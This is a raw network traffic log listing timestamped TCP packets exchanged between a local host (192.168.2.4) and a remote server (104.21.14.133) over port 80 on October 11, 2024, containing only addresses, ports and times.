Oct 11, 2024 04:10:43.936101913 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.936129093 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.936163902 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.936182976 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.936197042 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.936206102 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.936230898 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.936253071 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.936264038 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.936275005 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.936297894 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.936316967 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.936331034 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.936346054 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.936367035 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.936379910 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.936402082 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.936419010 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.936436892 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.936455011 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.936470985 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.936479092 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.936505079 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.936521053 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.936541080 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.936559916 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.936574936 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.936585903 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.936609983 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.936630964 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.936644077 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.936652899 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.936678886 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.936693907 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.936712980 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.936726093 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.936748981 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.936764956 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.936784029 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.936815023 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.936816931 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.936836004 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.936851978 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.936877012 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.936885118 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.936898947 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.936919928 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.936942101 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.936953068 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.936971903 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.936986923 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937000036 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.937021971 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937037945 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.937057972 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937069893 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.937092066 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937105894 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.937128067 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937143087 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.937164068 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937165022 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.937200069 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937232018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937237024 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.937254906 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.937266111 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937271118 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.937299967 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937314987 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.937335014 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937355042 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.937369108 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937377930 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.937405109 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937417984 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.937438011 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937453985 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.937472105 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937491894 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.937505960 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937520981 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.937540054 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937558889 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.937575102 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937587976 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.937611103 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937625885 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.937644005 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937663078 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.937679052 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937711954 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937728882 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.937748909 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937761068 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.937783003 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937799931 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.937817097 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937829018 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.937845945 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937864065 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.937879086 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937892914 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.937915087 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937931061 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.937947989 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937958956 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.937983990 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.937994957 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.938018084 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.938034058 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.938051939 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.938070059 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.938107014 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.938122034 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.938159943 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.021353006 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.021404982 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.021437883 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.021469116 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.021502972 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.021534920 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.021569014 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.021589041 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.021589994 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.021589994 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.021589994 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.021589994 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.021600962 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.021635056 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.021667957 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.021682978 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.021682978 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.021682978 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.021702051 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.021709919 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.021735907 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.021770000 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.021776915 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.021776915 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.021804094 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.021817923 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.021838903 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.021853924 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.021873951 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.021884918 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.021920919 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.074856997 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.074917078 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.074969053 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.075001001 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.075061083 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.075072050 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.075073004 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.075073004 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.075092077 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.075143099 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.075155973 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.075177908 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.075186014 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.075186014 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.075227976 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.075269938 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.075269938 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.075282097 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.075315952 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.075349092 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.075362921 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.075402021 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.075402975 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.075457096 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.075474024 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.075506926 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.075525999 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.075567961 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.075573921 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.075620890 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.075627089 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.075655937 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.075675964 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.075705051 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.075714111 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.075740099 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.075756073 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.075845003 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.075881004 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.075895071 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.075913906 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.075926065 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.075934887 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.075967073 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.075969934 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.075994015 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.076001883 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.076030970 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.076035976 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.076086044 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.076088905 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.076118946 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.076142073 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.076153040 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.076178074 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.076193094 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.076200008 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.076244116 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.076276064 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.076299906 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.076324940 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.076374054 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.076375008 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.076380014 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.076414108 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.076446056 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.076455116 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.076455116 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.076488018 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.076497078 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.076530933 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.076564074 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.076584101 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.076586008 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.076632977 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.076633930 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.076668024 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.076684952 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.076702118 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.076714993 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.076736927 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.076754093 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.076769114 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.076777935 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.076805115 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.076816082 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.076839924 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.076853037 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.076874018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.076893091 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.076909065 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.076927900 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.076941967 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.076965094 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.076983929 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077016115 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077033997 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.077049971 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077059031 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.077084064 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077100039 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.077117920 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077137947 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.077152014 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077159882 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.077187061 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077219963 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077238083 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.077251911 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077260971 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.077286005 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077301979 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.077318907 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077337980 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.077351093 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077358007 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.077383995 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077404022 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.077416897 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077426910 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.077450991 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077465057 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.077483892 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077517033 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077537060 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.077548981 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077558041 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.077584982 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077600002 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.077620029 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077637911 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.077653885 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077658892 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.077687025 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077704906 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.077719927 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077734947 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.077753067 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077773094 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.077786922 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077801943 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.077821970 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077838898 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.077857971 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077871084 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.077891111 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077923059 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077939987 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.077956915 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.077979088 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.077991009 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.078020096 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.078026056 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.078059912 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.078074932 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.078093052 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.078107119 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.078126907 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.078142881 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.078161955 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.078178883 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.078196049 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.078208923 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.078229904 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.078246117 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.078263044 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.078278065 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.078296900 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.078313112 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.078330994 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.078346014 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.078366041 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.078382969 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.078401089 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.078412056 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.078434944 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.078469038 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.078485012 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.078502893 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.078516960 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.078538895 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.078552008 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.078588963 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.108637094 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.108694077 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.108743906 CEST	80	49733	104.21.14.133	192.168.2.4
